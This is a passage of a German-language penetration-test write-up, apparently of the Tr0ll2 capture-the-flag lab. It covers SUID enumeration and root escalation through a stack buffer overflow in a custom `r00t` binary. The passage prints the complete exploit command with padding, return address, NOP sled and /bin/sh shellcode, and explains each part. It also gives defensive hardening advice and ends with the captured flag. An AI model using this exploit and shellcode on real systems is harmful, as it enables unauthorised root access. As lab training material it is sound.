Empfehlung (Defensiv): Überprüfen, warum der vorherige `nc`-Befehl blockiert wurde, `bash` aber erlaubt war. Ggf. SSH-Konfiguration (`ForceCommand`, `AllowTcpForwarding`, etc.) härten.
noob@Tr0ll2$
Analyse: Innerhalb der Shell als `noob` wird der Befehl `find / -perm -4000 -ls 2>/dev/null` ausgeführt. Dieser sucht nach Dateien mit gesetztem SUID-Bit (Berechtigung `-rwsr-xr-x`), listet detaillierte Informationen dazu auf (`-ls`) und unterdrückt Fehlermeldungen (`2>/dev/null`).
Bewertung: Die Ausgabe zeigt eine Liste von SUID-Dateien. Viele davon sind Standard (`/bin/su`, `/bin/mount`, `/usr/bin/sudo`, etc.). Auffällig sind jedoch die Einträge in einem Verzeichnis namens `/nothing_to_see_here/choose_wisely/`:
442 32 -rwsr-xr-x 1 root root 31116 Apr 8 2012 /bin/su 341 68 -rwsr-xr-x 1 root root 67720 Mar 29 2012 /bin/umount 1169 36 -rwsr-xr-x 1 root root 34740 Nov 8 2011 /bin/ping 340 88 -rwsr-xr-x 1 root root 88760 Mar 29 2012 /bin/mount 8383 28 -rwsr-xr-x 1 root root 26252 Mar 2 2012 /bin/fusermount 1170 40 -rwsr-xr-x 1 root root 39116 Nov 8 2011 /bin/ping6 135403 40 -rwsr-xr-x 1 root root 40292 Apr 8 2012 /usr/bin/chfn 144622 44 -rwsr-sr-x 1 daemon daemon 42800 Oct 25 2011 /usr/bin/at 135117 32 -rwsr-xr-x 1 root root 30896 Apr 8 2012 /usr/bin/newgrp 138070 72 -rwsr-xr-x 2 root root 69708 May 31 2012 /usr/bin/sudoedit 135409 44 -rwsr-xr-x 1 root root 41284 Apr 8 2012 /usr/bin/passwd 145503 56 -rwsr-xr-x 1 root root 56208 Jul 28 2011 /usr/bin/mtr 138070 72 -rwsr-xr-x 2 root root 69708 May 31 2012 /usr/bin/sudo 135406 32 -rwsr-xr-x 1 root root 31748 Apr 8 2012 /usr/bin/chsh 145083 16 -rwsr-xr-x 1 root root 14012 Nov 8 2011 /usr/bin/traceroute6.iputils 135408 60 -rwsr-xr-x 1 root root 57956 Apr 8 2012 /usr/bin/gpasswd 145613 268 -rwsr-xr-- 1 root dip 273272 Feb 4 2011 /usr/sbin/pppd 145935 20 -rwsr-sr-x 1 libuuid libuuid 17976 Mar 29 2012 /usr/sbin/uuidd 137140 8 -rwsr-xr-x 1 root root 5564 Dec 13 2011 /usr/lib/eject/dmcrypt-get-device 150258 12 -r-sr-xr-x 1 root root 9532 Oct 3 2014 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper 152648 12 -r-sr-xr-x 1 root root 10224 Oct 3 2014 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper 148841 12 -rwsr-xr-x 1 root root 9728 Aug 27 2014 /usr/lib/pt_chown 143871 312 -rwsr-xr-- 1 root messagebus 316824 Feb 22 2012 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 148809 244 -rwsr-xr-x 1 root root 248056 Apr 29 2014 /usr/lib/openssh/ssh-keysign 13124 4 drwsr-xr-x 3 root root 4096 Nov 28 15:45 /nothing_to_see_here 10047 4 drwsr-xr-x 5 root root 4096 Oct 4 2014 /nothing_to_see_here/choose_wisely 10238 4 drwsr-xr-x 2 root root 4096 Oct 4 2014 /nothing_to_see_here/choose_wisely/door2 10431 8 -rwsr-xr-x 1 root root 7271 Oct 4 2014 /nothing_to_see_here/choose_wisely/door2/r00t 10443 4 drwsr-xr-x 2 root root 4096 Oct 5 2014 /nothing_to_see_here/choose_wisely/door3 10461 8 -rwsr-xr-x 1 root root 7273 Oct 5 2014 /nothing_to_see_here/choose_wisely/door3/r00t 12708 4 drwsr-xr-x 2 root root 4096 Oct 5 2014 /nothing_to_see_here/choose_wisely/door1 13085 12 -rwsr-xr-x 1 root root 8401 Oct 5 2014 /nothing_to_see_here/choose_wisely/door1/r00t
Analyse: Der Pentester wechselt in das Verzeichnis `/nothing_to_see_here/choose_wisely/door1/` und führt das dort gefundene SUID-Binary `./r00t` aus. Als Argument wird eine mittels Python generierte Zeichenkette übergeben. Diese Zeichenkette ist ein typischer Exploit für einen einfachen Stack-basierten Buffer Overflow.
Bewertung: Der Exploit funktioniert! Nach der Ausführung des Befehls wird `id` ausgeführt, was `uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)` zurückgibt. Die effektive Benutzer-ID (`euid`) ist 0 (root). Das bedeutet, der Exploit hat erfolgreich eine Root-Shell oder zumindest Root-Rechte erlangt.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen eines Buffer Overflows im SUID-Binary `./r00t` wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Die erlangten Root-Rechte nutzen, um die finalen Ziele (Flags, Persistenz etc.) zu erreichen.
Empfehlung (Defensiv): Das verwundbare SUID-Binary (`/nothing_to_see_here/choose_wisely/door1/r00t` und wahrscheinlich auch die in door2 und door3) sofort entfernen oder das SUID-Bit entfernen (`chmod u-s`). Den Code auf Buffer Overflows prüfen und beheben (z.B. durch Verwendung sicherer Funktionen wie `strncpy` statt `strcpy`, Stack Canaries, ASLR).
r00t
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
Schwachstelle: Stack-basierter Buffer Overflow in dem benutzerdefinierten SUID-Programm `/nothing_to_see_here/choose_wisely/door1/r00t`. Das Programm kopiert wahrscheinlich Benutzereingaben (über Kommandozeilenargumente) unsicher in einen Puffer fester Größe auf dem Stack, ohne die Länge zu überprüfen.
Ziel des POC: Nachweis, dass durch Übergabe eines speziell präparierten, überlangen Arguments der Stack-Puffer überschrieben, der Befehlszähler (EIP - Extended Instruction Pointer) kontrolliert und beliebiger Code (Shellcode) mit den Rechten des SUID-Programms (root) ausgeführt werden kann.
Voraussetzungen: Zugriff auf das System als Benutzer, der das SUID-Programm ausführen darf (hier `noob`). Kenntnis über Buffer Overflows und Shellcode. Tools wie Python zur Generierung des Exploits.
Analyse: Die `find`-Suche nach SUID-Dateien (siehe Privilege Escalation Abschnitt) identifizierte `/nothing_to_see_here/choose_wisely/door1/r00t` als benutzerdefiniertes SUID-root-Programm.
Bewertung: Solche Programme sind Hauptziele für die Suche nach Schwachstellen zur Privilegieneskalation.
Analyse: Der folgende Befehl konstruiert und übergibt den Exploit-String als Argument an `./r00t`: `./r00t $(python -c 'print "A"*268 + "\xc0\xfa\xff\xbf" + "\x90" * 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')` Der Exploit-String besteht aus:
"A"*268
: 268 'A'-Zeichen (Junk-Daten), um den Puffer bis zur gespeicherten Rücksprungadresse (EIP) auf dem Stack zu füllen. Die genaue Anzahl (268) muss durch Analyse des Programms (z.B. mit einem Debugger wie GDB und Muster-Strings) ermittelt werden."\xc0\xfa\xff\xbf"
: Dies ist die Adresse, die EIP überschreiben soll. Sie muss auf einen kontrollierbaren Speicherbereich zeigen, typischerweise den Anfang des Shellcodes oder eines NOP-Sleds auf dem Stack. Diese Adresse ist systemabhängig (ASLR, Stack-Layout) und muss oft durch Debugging oder Brute-Forcing gefunden werden (hier ist ASLR vermutlich deaktiviert oder die Adresse bekannt)."\x90" * 10
: Ein NOP-Sled (No Operation). Wenn EIP auf eine dieser NOP-Instruktionen springt, "rutscht" die Ausführung einfach weiter bis zum eigentlichen Shellcode. Dies erhöht die Erfolgswahrscheinlichkeit, falls die EIP-Adresse nicht exakt den Anfang des Shellcodes trifft."\x31\xc0\x50..."
: Der eigentliche Shellcode. Dieser Maschinencode führt typischerweise `execve("/bin/sh", NULL, NULL)` aus, um eine Shell zu starten.
Analyse: Nach Erlangung der Root-Rechte durch den Buffer Overflow wird in das `/root`-Verzeichnis gewechselt und dessen Inhalt aufgelistet. Anschließend wird die Datei `Proof.txt` ausgelesen.
Bewertung: Die Datei `Proof.txt` enthält die Zeichenkette `a70354f0258dcc00292c72aab3c8b1e4`, welche als Root-Flag oder zumindest als Nachweis für den Root-Zugriff dient. Der Text am Ende des Originalberichts liefert zudem separate Flags für root und user.
Proof.txt core1 core2 core3 core4 goal hardmode lmao.zip ran_dir.py reboot
You win this time young Jedi...
a70354f0258dcc00292c72aab3c8b1e4
Zusätzlich gefundene Flags (laut Berichtstext-Ende):